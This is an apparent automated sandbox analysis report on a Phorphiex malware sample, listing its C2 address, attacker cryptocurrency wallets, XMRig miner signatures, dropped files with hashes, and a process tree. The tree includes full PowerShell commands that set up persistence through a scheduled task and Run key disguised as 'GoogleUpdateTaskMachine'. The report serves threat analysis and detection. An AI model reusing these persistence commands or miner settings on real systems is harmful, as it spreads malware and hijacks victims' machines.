Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2023, 02:52

General

  • Target
    tmp.exe
  • Size 6KB
  • Sample230326-dcppjahc5v
  • SHA256 d93add71a451ec7c04c99185ae669e59fb866eb38f463e9425044981ed1bcae0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • phorphiex

C2
  • http://185.215.113.66/

Wallets
  • 0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b

  • THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto

  • 1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6

  • qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut

  • XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL

  • LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX

  • rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH

  • ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ

  • 48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

  • 3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC

  • 3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

  • D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH

  • t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn

  • bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd

  • bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg

  • bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut

  • GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 29 IoCs
  • Suspicious use of SendNotifyMessage 29 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Users\Admin\AppData\Local\Temp\1833612828.exe
      C:\Users\Admin\AppData\Local\Temp\1833612828.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Windows\wsydrtuac.exe
        C:\Windows\wsydrtuac.exe
        3⤵
        • Windows security bypass
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of WriteProcessMemory
        PID:4692
        • C:\Users\Admin\AppData\Local\Temp\332923939.exe
          C:\Users\Admin\AppData\Local\Temp\332923939.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:5064
          • C:\Users\Admin\AppData\Local\Temp\2581212214.exe
            C:\Users\Admin\AppData\Local\Temp\2581212214.exe
            5⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:3112
        • C:\Users\Admin\AppData\Local\Temp\697114847.exe
          C:\Users\Admin\AppData\Local\Temp\697114847.exe
          4⤵
          • Executes dropped EXE
          PID:4760
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
        2⤵
          PID:5112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\Admin\Windows Security\Update\winsvrupd.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1512
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
            3⤵
              PID:2616
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2748
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2288
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
                PID:3800
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
              2⤵
              • Blocklisted process makes network request
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:2128
          • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
            "C:\Users\Admin\Windows Security\Update\winsvrupd.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1300

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf
                • MD5 SHA1 SHA512

                1833612828.exe

                • Path C:\Users\Admin\AppData\Local\Temp\1833612828.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                1833612828.exe

                • Path C:\Users\Admin\AppData\Local\Temp\1833612828.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                2581212214.exe

                • Path C:\Users\Admin\AppData\Local\Temp\2581212214.exe
                • Size 2.0MB
                • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
                • MD5 SHA1 SHA512 SSDEEP

                2581212214.exe

                • Path C:\Users\Admin\AppData\Local\Temp\2581212214.exe
                • Size 2.0MB
                • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
                • MD5 SHA1 SHA512 SSDEEP

                332923939.exe

                • Path C:\Users\Admin\AppData\Local\Temp\332923939.exe
                • Size 6KB
                • SHA256 6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228
                • MD5 SHA1 SHA512 SSDEEP

                332923939.exe

                • Path C:\Users\Admin\AppData\Local\Temp\332923939.exe
                • Size 6KB
                • SHA256 6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228
                • MD5 SHA1 SHA512 SSDEEP

                697114847.exe

                • Path C:\Users\Admin\AppData\Local\Temp\697114847.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                697114847.exe

                • Path C:\Users\Admin\AppData\Local\Temp\697114847.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_od1gsnox.ctn.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_od1gsnox.ctn.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                g.log

                • Path C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                winsvrupd.exe

                • Path C:\Users\Admin\Windows Security\Update\winsvrupd.exe
                • Size 2.0MB
                • SHA256 84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116
                • MD5 SHA1 SHA512 SSDEEP

                wsydrtuac.exe

                • Path C:\Windows\wsydrtuac.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                wsydrtuac.exe

                • Path C:\Windows\wsydrtuac.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                wsydrtuac.exe

                • Path C:\Windows\wsydrtuac.exe
                • Size 75KB
                • SHA256 b09663d3fd327fb84cb3aa1ffef1f57916cf1ac0f4c7cc18c6e27ae052e7c5ee
                • MD5 SHA1 SHA512 SSDEEP

                memory/1300-199-0x00007FF6A6560000-0x00007FF6A6762000-memory.dmp

                memory/1512-177-0x000001E0BD0A0000-0x000001E0BD0B0000-memory.dmp

                memory/1512-176-0x000001E0BD0A0000-0x000001E0BD0B0000-memory.dmp

                memory/1512-178-0x000001E0BD0A0000-0x000001E0BD0B0000-memory.dmp

                memory/1512-175-0x000001E0BDAD0000-0x000001E0BDAF2000-memory.dmp

                memory/2128-202-0x00007FF772A30000-0x00007FF773224000-memory.dmp

                memory/2128-206-0x00007FF772A30000-0x00007FF773224000-memory.dmp

                memory/2128-204-0x00007FF772A30000-0x00007FF773224000-memory.dmp

                memory/2128-203-0x00007FF772A30000-0x00007FF773224000-memory.dmp

                memory/2128-200-0x0000027C10EA0000-0x0000027C10EC0000-memory.dmp

                memory/2128-201-0x00007FF772A30000-0x00007FF773224000-memory.dmp

                memory/2748-192-0x00000274D5C30000-0x00000274D5C40000-memory.dmp

                memory/2748-193-0x00000274D5C30000-0x00000274D5C40000-memory.dmp

                memory/2748-191-0x00000274D5C30000-0x00000274D5C40000-memory.dmp

                memory/3112-165-0x00007FF6D22A0000-0x00007FF6D24A2000-memory.dmp